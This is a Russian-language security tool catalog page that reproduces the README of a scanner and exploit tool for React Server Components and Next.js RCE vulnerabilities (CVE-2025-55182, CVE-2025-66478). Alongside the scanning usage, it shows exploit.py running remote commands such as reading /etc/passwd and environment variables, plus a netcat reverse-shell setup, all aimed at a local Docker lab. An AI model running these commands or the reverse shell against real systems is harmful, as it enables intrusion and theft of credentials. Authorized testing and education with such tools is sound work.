Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
react2shell-scanner-CVE-2025-55182 — React2shell-web-scanner | Kitploit
Инструменты/GitHubGitHub/security-phoenix-demo/react2shell-scanner-cve-2025-55182
Управление индикаторами компрометации (IOC)Сканеры уязвимостейЭксплуатацияЭксплуатация веб-приложенийРазведка угрозПеречисление ПоддоменовОбучение и ОбразованиеРазработка Полезной Нагрузки

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Лаборатории и Практика
GitHubsecurity-phoenix-demo/react2shell-scanner-cve-2025-55182

react2shell-scanner-CVE-2025-55182

React2shell-web-scanner

Репозиторий
22110 месяцев назадЕщё не проверено
Поделиться

Корпоративный сканер React2Shell

Высокоточный сканер уязвимостей для CVE-2025-55182 и CVE-2025-66478 — уязвимостей удалённого выполнения кода (RCE) в React Server Components / Next.js.

📖 Подробный технический анализ, механику эксплуатации и данные IOC см. в SECURITY-RESEARCH.md


⚠️ ОТКАЗ ОТ ОТВЕТСТВЕННОСТИ

Этот инструмент предоставляется ТОЛЬКО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И АВТОРИЗОВАННОГО ТЕСТИРОВАНИЯ БЕЗОПАСНОСТИ. Несанкционированный доступ к компьютерным системам является незаконным. Используйте эти инструменты только на системах, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение. Авторы не несут ответственности за неправомерное использование.


🚨 Обзор уязвимостей

CVEОписаниеCVSS
CVE-2025-55182Небезопасная десериализация RCE в React Server Components9.8 Критический
CVE-2025-66478RCE в Next.js Server Actions9.8 Критический

Затронутые пакеты:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.1.0, 19.1.1, 19.2.0

Исправленные версии:

  • 19.0.1, 19.1.2, 19.2.1 (для всех пакетов)

✨ Возможности

  • Множественные цели: одиночный URL, файлы хостов, CIDR-диапазоны, IP-диапазоны
  • Перебор поддоменов: автоматическое обнаружение поддоменов
  • Определение технологий: обнаружение Next.js перед тестированием
  • Безопасный режим обнаружения: выявление по побочным каналам без выполнения кода
  • Проверка RCE: proof of concept на основе арифметических операций
  • Корреляция IOC: проверка по известной вредоносной инфраструктуре
  • Интеграция с Phoenix Security: загрузка результатов на платформу Phoenix
  • Параллельное сканирование: многопоточность для масштабирования

📦 Установка

С помощью uv (рекомендуется)

# No installation needed - uv handles dependencies
uv run react2shell-scanner -u https://example.com

С помощью pip

pip install requests tqdm dnspython
python3 react2shell-scanner -u https://example.com

🚀 Использование

Базовое сканирование

# Single URL
python3 react2shell-scanner -u https://example.com

# Safe mode (no RCE execution)
python3 react2shell-scanner -u https://example.com --safe-check

# From host file
python3 react2shell-scanner -l targets.txt -t 50 -o results.json

# CIDR range
python3 react2shell-scanner --cidr 192.168.1.0/24 --ports 80,443,3000

# Multiple CIDR ranges
python3 react2shell-scanner --cidr 10.0.0.0/24 --cidr 172.16.0.0/24

Расширенное сканирование

# Subdomain enumeration
python3 react2shell-scanner -u example.com --enumerate-subdomains

# Custom subdomain wordlist
python3 react2shell-scanner -u example.com --enumerate-subdomains \
    --subdomain-wordlist "app,api,admin,portal,staging"

# Custom paths
python3 react2shell-scanner -u https://example.com \
    --path / --path /_next --path /api

# Skip fingerprinting (scan everything)
python3 react2shell-scanner -l targets.txt --skip-fingerprint --force-scan

# Verbose with SSL disabled
python3 react2shell-scanner -u https://example.com -k -v

Интеграция с Phoenix Security

# Upload findings to Phoenix
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --phoenix-config .phoenix.config

# Debug mode (save payloads)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --debug

# Upload all results (not just vulnerabilities)
python3 react2shell-scanner -l targets.txt \
    --upload-phoenix \
    --all-results

🔧 Настройка

Конфигурация Phoenix Security

Создайте файл .phoenix.config:

[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.demo.appsecphx.io
assessment_name = React2Shell Scanner - Web Vulnerabilities
import_type = new

Или используйте переменные окружения:

export PHOENIX_CLIENT_ID=your_client_id
export PHOENIX_CLIENT_SECRET=your_client_secret
export PHOENIX_API_URL=https://api.demo.appsecphx.io
export PHOENIX_ASSESSMENT_NAME="React2Shell Scanner"

🧪 Тестовая лаборатория

В комплект входит тестовая среда на базе Docker. Краткую справку см. в Lab-instructions-sample.md.

# Start lab
cd test-lab/lab
docker-compose up -d

# Services:
# - Vulnerable: http://localhost:3011
# - Patched:    http://localhost:3012

# Test vulnerable instance (safe evidence collection)
python3 react2shell-scanner -u http://localhost:3011 -o evidence.json -e

# Test patched instance  
python3 react2shell-scanner -u http://localhost:3012 -o evidence.json -e

# Run full demo
./test-and-demo.sh --full-demo

⚠️ Примечание: Команды эксплуатации (например, exploit.py -c "whoami") выполняют РЕАЛЬНЫЙ RCE. Используйте только на локальных Docker-контейнерах в исследовательских целях.

💻 Инструмент эксплуатации (exploit.py)

Выполняет команды на уязвимых целях. Требуется Python 3.11+

Установка

cd test-lab
pip3.11 install -r requirements.txt
# Or: pip3.11 install rich-click fake-useragent rich requests

Примеры выполнения команд

# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs

python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup) groups=65533(nogroup)

python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)

# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env | head -20"

# Application reconnaissance
python3.11 exploit.py -u http://localhost:3011 -c "pwd"
# Output: /app

python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"

# Network information
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/hosts"
python3.11 exploit.py -u http://localhost:3011 -c "netstat -an | head -20"

# Process enumeration
python3.11 exploit.py -u http://localhost:3011 -c "ps aux"

Обратная оболочка (Reverse Shell, расширенный режим)

# Get Docker network gateway
GATEWAY=$(docker network inspect lab_react-rsc-lab --format '{{range .IPAM.Config}}{{.Gateway}}{{end}}')

# Start listener (in another terminal)
nc -lvnp 4444

# Launch reverse shell
python3.11 exploit.py -u http://localhost:3011 -r -l $GATEWAY -p 4444 -P nc-mkfifo

# Available payload types: nc, nc-mkfifo, sh, bash, perl

Параметры инструмента эксплуатации

OptionОписание
-u, --urlURL цели (обязательно)
-c, --cmdКоманда для выполнения
-r, --reverseВключить режим обратной оболочки
-l, --lhostХост-слушатель для обратной оболочки
-p, --lportПорт-слушатель для обратной оболочки
-P, --payloadТип полезной нагрузки: nc, nc-mkfifo, sh, bash, perl
--timeoutТаймаут запроса (по умолчанию: 10 с)

📊 Форматы вывода

Вывод в консоль

[VULNERABLE] https://vulnerable.example.com
    Status: 307
    Detection: rce_arithmetic_check
    
[IOC MATCH] 93.123.109.247
    IP 93.123.109.247 matches known malicious infrastructure
    
[NEXTJS] https://safe.example.com v15.0.0

[NOT VULN] https://other.example.com
Скачать инструмент